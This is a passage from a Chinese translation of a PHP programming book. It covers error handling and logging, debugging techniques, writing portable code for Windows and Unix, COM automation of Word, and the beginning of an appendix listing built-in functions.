如果您希望比仅仅隐藏任何错误更好地控制错误(通常是这样),您可以提供 PHP 一个错误处理程序。当遇到任何种类的条件时,将调用错误处理程序,并且可以执行您希望执行的任何操作,从将信息记录到文件到漂亮地打印错误消息。基本过程是创建一个错误处理函数并使用set_error_handler()注册它。

您声明的函数可以接受两个或五个参数。前两个参数是错误代码和描述错误的字符串。如果您的函数接受它们,最后三个参数是发生错误的文件名、错误发生的行号以及错误发生时的活动符号表的副本。您的错误处理程序应该使用error_reporting()检查当前报告的错误级别,并相应地采取行动。

调用set_error_handler()会返回当前的错误处理程序。当您的脚本使用完自己的错误处理程序时,可以通过使用返回的值调用set_error_handler()来恢复先前的错误处理程序,或者通过调用restore_error_handler()函数来恢复。

下面的代码显示了如何使用错误处理程序格式化和打印错误:

function displayError($error, $errorString, $filename, $line, $symbols)
{
 echo "<p>Error '<b>{$errorString}</b>' occurred.<br />";
 echo "-- in file '<i>{$filename}</i>', line $line.</p>";
}

set_error_handler('displayError');
$value = 4 / 0; // divide by zero error

<p>Error '<b>Division by zero</b>' occurred.
-- in file '<i>err-2.php</i>', line 8.</p>

在错误处理程序中记录

PHP 提供了内置函数error_log()来将错误记录到管理员喜欢放置它们的各种地方:

error_log(*`message`*, *`type`* [, *`destination`* [, *`extra_headers`* ]]);

第一个参数是错误消息。第二个参数指定错误记录的位置:0 的值通过 PHP 的标准错误记录机制记录错误;1 的值将错误电邮发送至目标地址,可选地添加任何额外的头部到消息;3 的值将错误追加到目标文件中。

要使用 PHP 的日志记录机制保存错误,请调用error_log()并使用类型0。通过更改php.ini文件中的error_log值,您可以更改要记录的文件。如果将error_log设置为syslog,则将使用系统记录器。例如:

error_log('A connection to the database could not be opened.', 0);

要通过电子邮件发送错误,请调用error_log()并使用类型1。第三个参数是要发送错误消息的电子邮件地址,可选的第四个参数可用于指定附加的电子邮件头。以下是通过电子邮件发送错误消息的方法:

error_log('A connection to the database could not be opened.',
 1, 'errors@php.net');

最后,要记录到文件中,请调用error_log()并使用类型3。第三个参数指定要记录的文件名:

error_log('A connection to the database could not be opened.',
 3, '/var/log/php_errors.log');

示例 17-1 展示了一个将日志写入文件并在日志文件超过 1 KB 时进行轮换的错误处理程序示例。

示例 17-1. 日志滚动错误处理程序
function logRoller($error, $errorString) {
 $file = '/var/log/php_errors.log';

 if (filesize($file) > 1024) {
 rename($file, $file . (string) time());
 clearstatcache();
 }

 error_log($errorString, 3, $file);
}

set_error_handler('logRoller');

for ($i = 0; $i < 5000; $i++) {
 trigger_error(time() . ": Just an error, ma'am.\n");
}

restore_error_handler();

通常,在您网站上工作时,您希望直接在出错的页面上显示错误。然而,一旦网站上线,向访问者显示内部错误消息就没有太多意义了。一个常见的方法是在您的php.ini文件中使用以下内容,一旦您的网站上线:

display_errors = Off
log_errors = On
error_log = /tmp/errors.log

这告诉 PHP 永远不显示任何错误,而是将它们记录到error_log指令指定的位置。

错误处理程序中的输出缓冲

使用输出缓冲和错误处理程序的组合,可以根据各种错误条件发送不同的内容给用户。例如,如果脚本需要连接到数据库,则可以在脚本成功连接到数据库之前抑制页面的输出。

示例 17-2 展示了使用输出缓冲来延迟页面输出,直到成功生成页面为止。

示例 17-2. 输出缓冲以处理错误
<html>
 <head>
 <title>Results!</title>
 </head>

 <body>
 <?php function handle_errors ($error, $message, $filename, $line) {
 ob_end_clean();
 echo "<b>{$message}</b><br/> in line {$line}<br/> of ";
 echo "<i>{$filename}</i></body></html>";

 exit;
 }

 set_error_handler('handle_errors');
 ob_start(); ?>

 <h1>Results!</h1>

 <p>Here are the results of your search:</p>

 <table border="1">
 <?php require_once('DB.php');
 $db = DB::connect('mysql://gnat:waldus@localhost/webdb');

 if (DB::iserror($db)) {
 die($db->getMessage());
 } ?>
 </table>
 </body>
</html>

在示例 17-2 中,我们在开始<body>元素后注册错误处理程序并开始输出缓冲。如果无法连接到数据库(或在随后的 PHP 代码中发生任何其他错误),则不显示标题和表格。用户只会看到错误消息。但是,如果 PHP 代码没有引发错误,用户将只看到 HTML 页面。

手动调试

一旦您有了几年的开发经验,您应该能够至少通过纯视觉方式完成至少 75%的调试工作。另外的 25%和您需要解决的更困难的代码段呢?您可以通过使用像 Zend Studio for Eclipse 或 Komodo 这样的优秀代码开发环境来解决一些问题。这些先进的 IDE 可以帮助进行语法检查和一些简单的逻辑问题和警告。

您可以通过将值 echo 到屏幕上完成下一级别的调试(再次强调,大部分工作将在开发环境中完成)。这将捕捉依赖于变量内容的许多逻辑错误。例如,您如何轻松地查看 for...next 循环的第三次迭代的值?考虑以下代码:

for ($j = 0; $j < 10; $j++) {
 $sample[] = $j * 12;
}

最简单的方法是在循环有条件地中断并 echo 出该时间的值;或者,您可以等待循环完成,就像在本例中一样,因为循环正在构建一个数组。以下是确定第三次迭代值的示例(请记住数组键从 0 开始):

for ($j = 0; $j < 10; $j++) {
 $sample[] = $j * 12;

 if ($j == 2) {
 echo $sample[2];
 }
}
`24`

在这里,我们只是简单地插入一个测试(if 语句),当满足条件时,将特定值发送到浏览器。如果您遇到 SQL 语法问题或失败,您还可以将原始语句 echo 到浏览器中,并将其复制到 SQL 界面(例如 phpMyAdmin)中执行代码,以查看是否返回任何 SQL 错误消息。

如果我们想要在循环结束时查看整个数组以及每个元素包含的值,我们仍然可以使用 echo 语句,但为每个元素编写 echo 语句会很麻烦和复杂。相反,我们可以使用 var_dump() 函数。var_dump() 的额外优势是它还告诉我们数组每个元素的数据类型。输出不一定漂亮,但信息丰富。您可以将输出复制到文本编辑器中,并用其清理输出的外观。

当然,你可以根据需要同时使用 echovar_dump()。以下是 var_dump() 原始输出的示例:

for ($j = 0; $j < 10; $j++) {
 $sample[] = $j * 12;
}

var_dump($sample);
`array``(``10``)` `{` `[``0``]` `=>` `int``(``0``)` `[``1``]` `=>` `int``(``12``)` `[``2``]` `=>` `int``(``24``)` `[``3``]` `=>` `int``(``36``)` `[``4``]` `=>` 
`int``(``48``)` `[``5``]` `=>` `int``(``60``)` `[``6``]` `=>` `int``(``72``)` `[``7``]` `=>` `int``(``84``)` `[``8``]` `=>` `int``(``96``)` `[``9``]` `=>` 
`int``(``108``)}`
注意

发送简单数据到浏览器有另外两种方法:print 语言结构和 print_r() 函数。print 只是 echo 的另一种选择(除了返回 1 的值),而 print_r() 以人类可读的格式将信息发送到浏览器。可以将 print_r() 看作是 var_dump() 的替代品,不过在数组的输出时不会显示每个元素的数据类型。此代码的输出如下:

<?php
for ($j = 0; $j < 10; $j++) {
 $sample[] = $j * 12;
}
?>
<pre><?php print_r($sample); ?></pre>

如下所示(请注意由 <pre> 标签完成的格式化):

`Array``(` `[``0``]` `=>` `0` `[``1``]` `=>` `12` `[``2``]` `=>` `24` `[``3``]` `=>` `36` `[``4``]` `=>` `48`
`[``5``]` `=>` `60` `[``6``]` `=>` `72` `[``7``]` `=>` `84` `[``8``]` `=>` `96` `[``9``]` `=>` `108``)`

错误日志

您将在错误日志文件中找到许多有用的描述。如前所述,您应该能够在名为 logs 的文件夹中找到位于 Web 服务器安装文件夹下的文件。将检查此文件作为调试例行程序的一部分,以获取有关可能出现问题的提示。以下是错误日志文件详细信息的样本:

[20-Apr-2012 15:10:55] PHP Notice: Undefined variable: size in C:\Program Files
(x86)
[20-Apr-2012 15:10:55] PHP Notice: Undefined index: p in C:\Program Files
(x86)\Zend
[20-Apr-2012 15:10:55] PHP Warning: number_format() expects parameter 1 to be 
double
[20-Apr-2012 15:10:55] PHP Warning: number_format() expects parameter 1 to be 
double
[20-Apr-2012 15:10:55] PHP Deprecated: Function split() is deprecated in 
C:\Program
[20-Apr-2012 15:10:55] PHP Deprecated: Function split() is deprecated in 
C:\Program
[26-Apr-2012 13:18:38] PHP Fatal error: Maximum execution time of 30 seconds
exceeded

如您所见,此处报告了几种不同类型的错误:通知、警告、弃用通知和致命错误,以及它们各自的时间戳、文件位置和发生错误的行数。

注意

根据您的环境,一些商业服务器空间提供商出于安全原因不允许访问,因此您可能无法访问日志文件。请确保选择一个可以访问日志文件的生产提供商。此外,请注意日志可能被移出 Web 服务器的安装文件夹。例如,在 Ubuntu 上,默认路径是 /var/logs/apache2/.log*。如果找不到日志,请检查 Web 服务器的配置。

IDE 调试

对于更复杂的调试问题,最好使用可以在良好的集成开发环境(IDE)中找到的调试器。我们将展示使用 Zend Studio for Eclipse 的调试会话示例。其他如 Komodo 和 PhpED 的 IDE 也内置了调试器,因此也可以用于此目的。

Zend Studio 针对调试目的设置了完整的调试透视图,如图 17-1 所示。

Zend Studio 中的默认调试透视图

图 17-1. Zend Studio 中的默认调试透视图

要熟悉此调试器,请打开运行菜单。它显示了在调试过程中可以尝试的所有选项——步入和跳过代码段,运行到光标位置,从头重新启动会话,或者简单地让您的代码运行直到失败或结束,等等。

在 Eclipse 中的 Zend Studio 中,您甚至可以通过正确的设置来调试 JavaScript 代码!

请确保查看本产品中的多个调试视图;您可以在代码执行过程中观察变量(包括超全局变量和用户定义的变量)的变化。

在 PHP 代码中,还可以设置(和暂停)断点,因此您可以运行到代码中的某个位置并查看该特定时刻的整体情况。另外还有两个便利的视图是调试输出和浏览器输出,它们展示了调试器运行时代码的输出情况。调试输出视图以您在浏览器中选择“查看源代码”的格式呈现输出,显示生成的原始 HTML。浏览器输出视图显示了代码在浏览器中执行的样子。这两个视图的好处在于它们在代码执行时填充数据,因此如果您在代码文件的中间某处停在断点上,它们只显示生成到那一点的信息。

图 17-2 展示了本章早些时候示例代码(在 for 循环中添加了 echo 语句,以便您看到生成的输出)在调试器中运行的示例。主要变量 $j$sample 在表达式视图中被跟踪,并且浏览器输出和调试输出视图显示了它们在代码中停止位置的内容。

调试器使用监视表达式定义

图 17-2. 调试器在执行时定义的监视表达式

其他调试技术

有更高级的技术可以用于调试,但超出了本章的范围。两种这样的技术是性能分析和单元测试。如果你有一个需要大量服务器资源的大型网络系统,你应该深入了解这两种技术的好处,因为它们可以使你的代码库更具容错性和效率。

下一步

接下来,我们将探讨编写 Unix 和 Windows 跨平台脚本,并简要介绍如何在 Windows 服务器上托管你的 PHP 网站。

第十八章:PHP 在不同平台上

有许多理由在 Windows 系统上使用 PHP,但最常见的是你想在 Windows 桌面上开发 Web 应用程序。如今,在 Windows 上开发 PHP 与在 Unix 平台上一样可行。PHP 在 Windows 上表现得非常出色,PHP 的服务器和附加工具也非常适合 Windows。在任何支持的平台上设置和开发 PHP 环境只是个人偏好的问题。随着时间的推移,PHP 非常友好地支持跨平台,安装和配置变得越来越简单。在多个平台上提供 Zend Server CE(社区版)的相对较新产品已经在建立一个共同的安装平台上大有帮助。

为 Windows 和 Unix 编写可移植代码

在部署到生产环境之前在本地开发,是在 Windows 上运行 PHP 的主要原因之一。由于许多生产服务器是基于 Unix 的,因此编写应用程序时要考虑使其在任何操作平台上都能以最少的麻烦运行。

潜在的问题领域包括依赖外部库的应用程序,使用本地文件 I/O 和安全功能,访问系统设备,分叉或生成线程,通过套接字通信,使用信号,生成特定于平台的图形用户界面的外部可执行文件。

好消息是随着 PHP 的发展,跨平台开发已成为主要目标。大部分情况下,PHP 脚本应该可以从 Windows 移植到 Unix 而无大碍。然而,在移植脚本时可能会遇到问题的情况也是有的。例如,PHP 早期实现的一些函数在 Windows 下必须进行模仿。其他函数可能特定于 PHP 运行的 Web 服务器。

确定平台

考虑到可移植性,你可能首先想要测试脚本运行的平台。PHP 定义了常量PHP_OS,其中包含 PHP 解析器正在执行的操作系统的名称。PHP_OS常量的可能值包括"HP-UX""Darwin"(macOS),"Linux""SunOS""WIN32""WINNT"。你可能还想考虑内置函数php_uname();它返回更多的操作系统信息。

以下代码显示如何测试 Windows 平台:

if (PHP_OS == 'WIN32' || PHP_OS == 'WINNT') {
 echo "You are on a Windows System";
}
else {
 // some other platform
 echo "You are NOT on a Windows System";
}

下面是在 Windows 7 i5 笔记本电脑上执行php_uname()函数的输出示例:

Windows NT PALADIN-LAPTO 6.1 build 7601 (Windows 7 Home Premium Edition Service
Pack 1) i586

跨平台处理路径

PHP 理解在 Windows 平台上使用反斜杠或正斜杠,甚至可以处理同时使用两者的路径。PHP 在访问 Windows Universal Naming Convention (UNC)路径(即//machine_name/path/to/file)时也识别正斜杠。例如,以下两行是等效的:

$fh = fopen("c:/planning/schedule.txt", 'r');
$fh = fopen("c:\\planning\\schedule.txt", 'r');

浏览服务器环境

常量超全局数组$_SERVER提供服务器和执行环境信息。以下是其部分内容列表:

["PROCESSOR_ARCHITECTURE"] => string(3) "x86"
["PROCESSOR_ARCHITEW6432"] => string(5) "AMD64"
["PROCESSOR_IDENTIFIER"] => string(50) "Intel64 Family 6 Model 42 Stepping 7,
GenuineIntel"
["PROCESSOR_LEVEL"] => string(1) "6"
["PROCESSOR_REVISION"] => string(4) "2a07"
["ProgramData"] => string(14) "C:\ProgramData"
["ProgramFiles"] => string(22) "C:\Program Files (x86)"
["ProgramFiles(x86)"] => string(22) "C:\Program Files (x86)"
["ProgramW6432"] => string(16) "C:\Program Files"
["PSModulePath"] => string(51)
 "C:\Windows\system32\WindowsPowerShell\v1.0\Modules\"
["PUBLIC"] => string(15) "C:\Users\Public"
["SystemDrive"] => string(2) "C:"
["SystemRoot"] => string(10) "C:\Windows"

要查看此全局数组中可用的所有信息,请查看其文档

一旦您知道正在寻找的具体信息,您可以直接请求如下:

echo "The windows Dir is: {$_SERVER['WINDIR']}";
`The` `windows` `Dir` `is``:` `C``:``\Windows`

发送邮件

在 Unix 系统上,您可以配置mail()函数以使用sendmailQmail发送消息。在 Windows 下运行 PHP 时,您可以通过安装 sendmail 并在php.ini中设置sendmail_path指向可执行文件来使用 sendmail。然而,更方便的做法可能是简单地将 Windows 版本的 PHP 指向一个接受您作为已知邮件客户端的 SMTP 服务器:

[mail function]
SMTP = mail.example.com ;URL or IP number to known mail server
sendmail_from = test@example.com

对于更简单的电子邮件解决方案,您可以使用全面的PHPMailer 库,它不仅简化了从 Windows 平台发送电子邮件的过程,而且完全跨平台,在 Unix 系统上同样有效。

$mail = new PHPMailer(true);

try {
 //Server settings
 $mail->SMTPDebug = SMTP::DEBUG_SERVER;
 $mail->isSMTP();
 $mail->Host = 'smtp1.example.com';
 $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
 $mail->Port = 587;

 $mail->setFrom('from@example.com', 'Mailer');
 $mail->addAddress('joe@example.net');

 $mail->isHTML(false);
 $mail->Subject = 'Here is the subject';
 $mail->Body = 'And here is the body.';

 $mail->send();
 echo 'Message has been sent';
} catch (Exception $e) {
 echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}";
}

行尾处理

Windows 文本文件的行以\r\n结尾,而 Unix 文本文件的行以\n结尾。PHP 在二进制模式下处理文件,因此不会自动将 Windows 行终止符转换为 Unix 等效的终止符。

PHP 在 Windows 上将标准输出、标准输入和标准错误文件处理器设置为二进制模式,因此不会为您进行任何转换。这对于处理通常与来自 Web 服务器的POST消息相关联的二进制输入至关重要。

您的程序输出到标准输出,如果希望在输出流中放置 Windows 行终止符,您将需要专门设置。处理此问题的一种方法是定义一个行尾(EOL)常量和使用它的输出函数:

if (PHP_OS == "WIN32" || PHP_OS == "WINNT") {
 define('EOL', "\r\n");
}
else if (PHP_OS == "Linux") {
 define('EOL', "\n");
}
else {
 define('EOL', "\n");
}

function ln($out) {
 echo $out . EOL;
}

ln("this line will have the server platform's EOL character");

更简单的处理方法是通过PHP_EOL常量,它会自动确定服务器系统的行尾字符串。(但是请注意,并非所有情况下服务器系统和所需的 EOL 标记相同。)

function ln($out) {
 echo $out . PHP_EOL;
}

文件末尾处理

Windows 文本文件以控制字符 Z(\x1A)结尾,而 Unix 则将文件长度信息单独存储在文件数据之外。PHP 会识别运行平台的文件结束(EOF)字符;因此,feof()函数适用于读取 Windows 文本文件。

使用外部命令

PHP 在 Windows 上使用默认的命令 shell 进行进程操作。在 Windows 下仅支持基本的 Unix shell 重定向和管道(例如,不支持将标准输出和标准错误分开重定向),且引号规则完全不同。Windows shell 不会进行通配符扩展(即不会用匹配通配符的文件列表替换包含通配符标记的参数)。在 Unix 上可以使用system("someprog php*.php"),但在 Windows 上您必须使用opendir()readdir()自行构建文件名列表。

访问平台特定的扩展

目前有超过 80 个用于 PHP 的扩展,涵盖了广泛的服务和功能。其中大约一半的扩展同时适用于 Windows 和 Unix 平台。只有少数扩展,比如 COM、.NET 和 IIS 扩展,是专门针对 Windows 的。如果你在脚本中使用的扩展在 Windows 下不可用,你需要将该扩展移植过去,或者修改你的脚本以使用在 Windows 下可用的扩展。

在某些情况下,即使整个模块可用,某些函数在 Windows 下也可能不可用。

Windows PHP 不支持信号处理、分叉或多线程脚本。使用这些功能的 Unix PHP 脚本不能直接移植到 Windows。相反,你应该重写脚本,不依赖于这些功能。

与 COM 交互

COM 允许你控制其他 Windows 应用程序。你可以将文件数据发送给 Excel,让其绘制图表,并将图表导出为 GIF 图像。你还可以使用 Word 格式化表单接收到的信息,然后打印发票作为记录。在介绍了 COM 术语后,本节将向你展示如何与 Word 和 Excel 交互。

背景

COM 是一种远程过程调用(RPC)机制,具有少量面向对象的特性。它提供了一种方法,使调用程序(控制器)能够与另一个程序(COM 服务器或对象)通信,无论其位于何处。如果底层代码是本地的,该技术称为 COM;如果是远程的,称为分布式 COM(DCOM)。如果底层代码是动态链接库(DLL),并且代码加载到同一进程空间中,则 COM 服务器称为进程内服务器(inproc)。如果代码是运行在自己的进程空间中的完整应用程序,则称为进程外服务器应用程序(local server application)。

对象链接与嵌入(OLE)是微软早期技术的总称,允许一个对象嵌入到另一个对象中。例如,你可以将 Excel 电子表格嵌入到 Word 文档中。OLE 1.0 开发于 Windows 3.1 时期,使用了称为动态数据交换(DDE)的技术来在程序间进行通信,但由于 DDE 功能有限。如果你想编辑嵌入在 Word 文件中的 Excel 电子表格,必须同时打开 Excel 并让其运行。

OLE 2.0 用 COM 取代了 DDE 作为底层通信方法。使用 OLE 2.0,你现在可以直接将 Excel 电子表格粘贴到 Word 文档中,并在 Word 中内联编辑 Excel 数据。使用 OLE 2.0,控制器可以向 COM 服务器发送复杂的消息。在我们的示例中,控制器将是我们的 PHP 脚本,而 COM 服务器将是典型的 MS Office 应用程序之一。在接下来的章节中,我们将提供一些工具来处理这种类型的集成。

为了激发您的兴趣并展示 COM 的强大功能,示例 18-1 展示了如何启动 Word 并向初始空文档添加“Hello World”。

示例 18-1. 在 PHP 中创建 Word 文件(word_com_sample.php)
// starting word
$word = new COM("word.application") or die("Unable to start Word app");
echo "Found and Loaded Word, version {$word->Version}\n";

//open an empty document
$word->Documents->add();

//do some weird stuff
$word->Selection->typeText("Hello World");
$word->Documents[1]->saveAs("c:/php_com_test.doc");

//closing word
$word->quit();

//free the object
$word = null;

echo "all done!";

为了正确执行此代码文件,必须从命令行执行它,如图 18-1 所示。一旦看到输出字符串all done!,您可以在“另存为”文件夹中找到该文件,并使用 Word 打开查看其内容。

在命令窗口中调用 Word 示例

图 18-1. 在命令窗口中调用 Word 示例

实际的 Word 文件应该看起来像图 18-2。

PHP 创建的 Word 文件

图 18-2. PHP 创建的 Word 文件

PHP 函数

PHP 通过一小组函数调用提供了对 COM 的接口。其中大多数是低级函数,需要对 COM 有详细的了解,这超出了本章的范围。COM类的对象表示与 COM 服务器的连接:

$word = new COM("word.application") or die("Unable to start Word app");

对于大多数 OLE 自动化来说,最困难的任务是将 Visual Basic 的方法调用转换为 PHP 中的类似内容。例如,这是 VBScript 向 Word 文档中插入文本的方法:

Selection.TypeText Text := "This is a test"

在 PHP 中相同的行是:

$word->Selection->typetext("This is a test");

API 规范

要确定像 Word 这样的产品的对象层次结构和参数,您可以访问 Microsoft 开发者网站并搜索您感兴趣的 Word 对象的规范。另一种选择是同时使用 Microsoft 的在线 VB 脚本帮助和 Word 支持的宏语言。这样一来,您可以理解参数的顺序以及给定任务所需的值。

附录。函数参考

本附录描述了内置 PHP 扩展中可用的函数。这些是 PHP 构建时默认包含的扩展,如果未提供--with--enable选项给configure,则不能通过配置选项删除它们。

对于每个函数,我们提供了函数签名,显示各种参数的数据类型以及哪些是必需的或可选的,以及副作用、错误和返回的数据结构的简要描述。

PHP 函数按类别分类

此部分列出了由 PHP 内置扩展提供的函数列表,按扩展类别分组。

数组

array_change_key_case

array_chunk

array_combine

array_count_values

array_diff

array_diff_assoc

array_diff_key

array_diff_uassoc

array_diff_ukey

array_fill

array_fill_keys

array_filter

array_flip

array_intersect

array_intersect_assoc

array_intersect_key

array_intersect_uassoc

array_intersect_ukey

array_key_exists

array_keys

array_map

array_merge

array_merge_recursive

array_multisort

array_pad

array_pop

array_product

array_push

array_rand

array_reduce

array_replace

array_replace_recursive

array_reverse

array_search

array_shift

array_slice

array_splice

array_sum

array_udiff

array_udiff_assoc

array_udiff_uassoc

array_uintersect

array_uintersect_assoc

array_uintersect_uassoc

array_unique

array_unshift

array_values

array_walk

array_walk_recursive

arsort

asort

compact

count

current

each

end

extract

in_array

is_countable

key

krsort

ksort

list

natcasesort

natsort

next

prev

range

reset

rsort

shuffle

sort

uasort

uksort

usort

类和对象

class_alias

class_exists

get_called_class

get_class

get_class_methods

get_class_vars

get_declared_classes

get_declared_interfaces

get_declared_traits

get_object_vars

get_parent_class

interface_exists

is_a

is_subclass_of

method_exists

property_exists

trait_exists

数据过滤

filter_has_var

filter_id

filter_input_array

filter_var

filter_input

filter_list

filter_var_array

日期和时间

checkdate

date

date_default_timezone_get

date_default_timezone_set

date_parse

date_parse_from_format

date_sun_info

date_sunrise

date_sunset

getdate

gettimeofday

gmdate

gmmktime

gmstrftime

hrtime

idate

localtime

microtime

mktime

strftime

strptime

strtotime

time

timezone_name_from_abbr

timezone_version_get

目录

chdir

chroot

closedir

dir

getcwd

opendir

readdir

rewinddir

scandir

错误和日志记录

debug_backtrace

debug_print_backtrace

error_clear_last

error_get_last

error_log

error_reporting

restore_error_handler

restore_exception_handler

set_error_handler

set_exception_handler

trigger_error

文件系统

basename

chgrp

chmod

chown

clearstatcache

copy

dirname

disk_free_space

disk_total_space

fclose

feof

fflush

fgetc

fgetcsv

fgets

fgetss

file

file_exists

file_get_contents

file_put_contents

fileatime

filectime

filegroup

fileinode

filemtime

fileowner

fileperms

filesize

filetype

flock

fnmatch

fopen

fpassthru

fputcsv

fread

fscanf

fseek

fstat

ftell

ftruncate

fwrite

glob

is_dir

is_executable

is_file

is_link

is_readable

is_uploaded_file

is_writable

lchgrp

lchown

link

linkinfo

lstat

mkdir

move_uploaded_file

parse_ini_file

parse_ini_string

pathinfo

pclose

popen

readfile

readlink

realpath_cache_get

realpath_cache_size

realpath

rename

rewind

rmdir

stat

symlink

tempnam

tmpfile

touch

umask

unlink

函数

call_user_func

call_user_func_array

create_function

forward_static_call

forward_static_call_array

func_get_arg

func_get_args

func_num_args

function_exists

get_defined_functions

register_shutdown_function

register_tick_function

unregister_tick_function

邮件

mail

数学

abs

acos

acosh

asin

asinh

atan2

atan

atanh

base_convert

bindec

ceil

cos

cosh

decbin

dechex

decoct

deg2rad

exp

expm1

floor

fmod

getrandmax

hexdec

hypot

is_finite

is_infinite

is_nan

lcg_value

log10

log1p

log

max

min

mt_getrandmax

mt_rand

mt_srand

octdec

pi

pow

rad2deg

rand

random_int

round

sin

sinh

sqrt

srand

tan

tanh

杂项函数

connection_aborted

connection_status

constant

define

defined

get_browser

highlight_file

highlight_string

ignore_user_abort

pack

php_strip_whitespace

sleep

sys_getloadavg

time_nanosleep

time_sleep_until

uniqid

unpack

usleep

网络

checkdnsrr

closelog

fsockopen

gethostbyaddr

gethostbyname

gethostbynamel

gethostname

getmxrr

getprotobyname

getprotobynumber

getservbyname

getservbyport

header

header_remove

headers_list

headers_sent

inet_ntop

inet_pton

ip2long

long2ip

openlog

pfsockopen

setcookie

setrawcookie

syslog

输出缓冲

flush

ob_clean

ob_end_clean

ob_end_flush

ob_flush

ob_get_clean

ob_get_contents

ob_get_flush

ob_get_length

ob_get_level

ob_get_status

ob_gzhandler

隐式刷新输出缓冲

ob_list_handlers

ob_start

output_add_rewrite_var

重置重写变量输出

PHP 语言分析器

token_get_all

token_name

PHP 选项/信息

assert_options

assert

extension_loaded

gc_collect_cycles

gc_disable

gc_enable

gc_enabled

get_cfg_var

get_current_user

get_defined_constants

get_extension_funcs

get_include_path

get_included_files

get_loaded_extensions

getenv

getlastmod

getmygid

getmyinode

getmypid

getmyuid

getopt

getrusage

ini_get_all

ini_get

ini_restore

ini_set

memory_get_peak_usage

memory_get_usage

php_ini_loaded_file

php_ini_scanned_files

php_logo_guid

php_sapi_name

php_uname

phpcredits

phpinfo

phpversion

putenv

set_include_path

set_time_limit

sys_get_temp_dir

version_compare

zend_logo_guid

zend_thread_id

zend_version

Program Execution

escapeshellarg

escapeshellcmd

exec

passthru

proc_close

proc_get_status

proc_nice

proc_open

proc_terminate

shell_exec

system

Session Handling

session_cache_expire

session_cache_limiter

session_decode

session_destroy

session_encode

session_get_cookie_params

session_id

session_module_name

session_name

session_regenerate_id

session_register_shutdown

session_save_path

session_set_cookie_params

session_set_save_handler

session_start

session_status

session_unset

session_write_close

Streams

stream_bucket_append

stream_bucket_make_writeable

stream_bucket_new

stream_bucket_prepend

stream_context_create

stream_context_get_default

stream_context_get_options

stream_context_get_params

stream_context_set_default

stream_context_set_option

stream_context_set_params

stream_copy_to_stream

stream_encoding

stream_filter_append

stream_filter_prepend

stream_filter_register

stream_filter_remove

stream_get_contents

stream_get_filters

stream_get_line

stream_get_meta_data

stream_get_transports

stream_get_wrappers

stream_is_local

stream_notification_callback

stream_resolve_include_path

stream_select

stream_set_blocking

stream_set_chunk_size

stream_set_read_buffer

stream_set_timeout

stream_set_write_buffer

stream_socket_accept

stream_socket_client

stream_socket_enable_crypto

stream_socket_get_name

stream_socket_pair

stream_socket_recvfrom

stream_socket_sendto

stream_socket_server

stream_socket_shutdown

stream_supports_lock

stream_wrapper_register

stream_wrapper_restore

stream_wrapper_unregister

Strings

addcslashes

addslashes

bin2hex

chr

chunk_split

convert_cyr_string

convert_uudecode

convert_uuencode

count_chars

crc32

crypt

echo

explode

fprintf

get_html_translation_table

hebrev

hex2bin

html_entity_decode

htmlentities

htmlspecialchars

htmlspecialchars_decode

implode

lcfirst

levenshtein

localeconv

ltrim

md5

md5_file

metaphone

nl_langinfo

nl2br

number_format

ord

parse_str

printf

quoted_printable_decode

quoted_printable_encode

quotemeta

random_bytes

rtrim

setlocale

sha1

sha1_file

similar_text

soundex

sprintf

sscanf

str_getcsv

str_ireplace

str_pad

str_repeat

str_replace

str_rot13

str_shuffle

str_split

str_word_count

strcasecmp

strcmp

strcoll

strcspn

strip_tags

stripcslashes

stripos

stripslashes

stristr

strlen

strnatcasecmp

strnatcmp

strncasecmp

strncmp

strpbrk

strpos

strrchr

strrev

strripos

strrpos

strspn

strstr

strtok

strtolower

strtoupper

strtr

substr

substr_compare

substr_count

substr_replace

trim

ucfirst

ucwords

vfprintf

vprintf

vsprintf

wordwrap

URLs

base64_decode

base64_encode

get_headers

get_meta_tags

http_build_query

parse_url

rawurldecode

rawurlencode

urldecode

urlencode

Variables

debug_zval_dump

empty

floatval

get_defined_vars

get_resource_type

gettype

intval

is_array

is_bool

is_callable

is_float

is_int

is_null

is_numeric

is_object

is_resource

is_scalar

is_string

isset

print_r

serialize

settype

strval

unserialize

unset

var_dump

var_export

Zlib

deflate_add

deflate_init

inflate_add

inflate_init

Alphabetical Listing of PHP Functions

abs

int abs(int number) float abs(float number)

返回number的绝对值,类型(浮点数或整数)与参数相同。

acos

float acos(float value)

返回弧度中value的反余弦值。

acosh

float acosh(float value)

返回value的反双曲余弦值。

addcslashes

string addcslashes(string string, string characters)

返回stringcharacters的转义实例,通过在它们前面添加反斜杠来实现。您可以用两个句点分隔它们指定字符的范围,例如,要转义字符aq之间的字符,请使用"a..q"。可以在characters中指定多个字符和范围。addcslashes()函数是stripcslashes()函数的反函数。

addslashes

string addslashes(string string)

返回在 SQL 数据库查询中具有特殊含义的string中的转义字符。单引号('')、双引号("")、反斜杠(\)和 NUL 字节(\0)都被转义。stripslashes()函数是该函数的反函数。

array_change_key_case

array array_change_key_case(array array[, CASE_UPPER|CASE_LOWER])

返回一个数组,其元素的键被更改为全部大写或全部小写。数字索引不变。如果省略可选的 case 参数,则将键更改为小写。

array_chunk

array array_chunk(array array, int size[, int preserve_keys])

array分割成一系列包含size个元素的数组,并将它们作为数组返回。如果preserve_keystrue(默认为false),则结果数组保留原始键;否则,值按照从 0 开始的数字索引排序。

array_combine

array array_combine(array keys, array values)

返回一个数组,由keys数组中的每个元素作为键和values数组中的元素作为值创建。如果任一数组没有元素,两个数组的元素数量不同,或者一个数组中存在但在另一个数组中不存在元素,则返回false

array_count_values

array array_count_values(array array)

返回一个数组,其元素的键是输入数组的值。每个键的值是该键作为值在输入数组中出现的次数。

array_diff

array array_diff(array array1, array array2[, ... array arrayN])

返回一个数组,其中包含第一个数组中存在但其他提供的数组中不存在的所有值。保留值的键。

array_diff_assoc

array array_diff_assoc(array array1, array array2[, ... array arrayN])

返回一个数组,其中包含第一个数组中存在但其他提供的数组中不存在的所有值。不同于array_diff(),必须同时匹配键和值才被视为相同。保留值的键。

array_diff_key

array array_diff_key(array array1, array array2[, ... array arrayN])

返回一个数组,其中包含第一个数组中的键不在其他提供的数组中存在的所有值。保留值的键。

array_diff_uassoc

array array_diff_uassoc(array array1, array array2 [, ... array arrayN], callable function)

返回一个数组,其中包含第一个数组中存在但其他提供的数组中不存在的所有值。不同于array_diff(),必须同时匹配键和值才被视为相同。函数function用于比较元素值的相等性。该函数使用两个参数调用——要比较的值。如果第一个参数小于第二个参数,则应返回小于零的整数;如果第一个参数等于第二个参数,则应返回0;如果第一个参数大于第二个参数,则应返回大于零的整数。保留值的键。

array_diff_ukey

